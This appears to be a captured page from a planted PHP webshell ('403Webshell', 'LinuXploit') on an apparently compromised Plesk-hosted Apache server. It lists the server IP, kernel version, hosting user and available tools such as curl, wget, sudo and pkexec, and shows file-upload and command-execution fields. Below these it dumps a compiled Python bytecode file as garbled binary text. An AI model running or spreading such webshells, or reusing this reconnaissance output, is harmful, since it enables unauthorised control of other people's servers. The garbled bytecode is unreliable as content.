403Webshell
Server IP : 104.21.4.30  /  Your IP : 104.23.197.228
Web Server : Apache
System : Linux keen-cori.18-142-40-148.plesk.page 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : simottodesign.com_2tntp341vs7 ( 10011)
PHP Version : 8.3.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/LanguageSelector/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/LanguageSelector/__pycache__/utils.cpython-38.pyc
U

ڀR]��@s.ddlZddlZddlZddd�Zdd�ZdS)�NTc
Cs�|D]�}tjdtj�|�d�}d}tj�|�r�t�|tj�r�t|��R}|D]F}	|	�	�}
|rl|
�
|�rld}|}	|s�|
|kr�d}|}	|�|	�d��qJW5QRX|s�|r�|�|�d��|�
�t�|j|�t�|d�qdS)zY find all strings that startswith findString and replace them with
        setString
    F)�delete�dirTzUTF-8i�N)�tempfileZNamedTemporaryFile�os�path�dirname�exists�access�R_OK�open�strip�
startswith�write�encode�flush�rename�name�chmod)Z
findStringZ	setStringZ	file_listr
�append�fname�outZfoundString�f�lineZtmp�r�8/usr/lib/python3/dist-packages/LanguageSelector/utils.py�find_string_and_replaces.
��
rcCs(|�d�d}tjd|gdd�}|��S)z9 generate locale name for LC_* environment variables
    �:rz)/usr/share/language-tools/language2localeT)Zuniversal_newlines)�split�
subprocessZcheck_output�rstrip)ZlanguageZ
first_elemZlocalerrr�language2locale)s�r )TT)rrrrr rrrr�<module>s�


Youez - 2016 - github.com/yon3zu
LinuXploit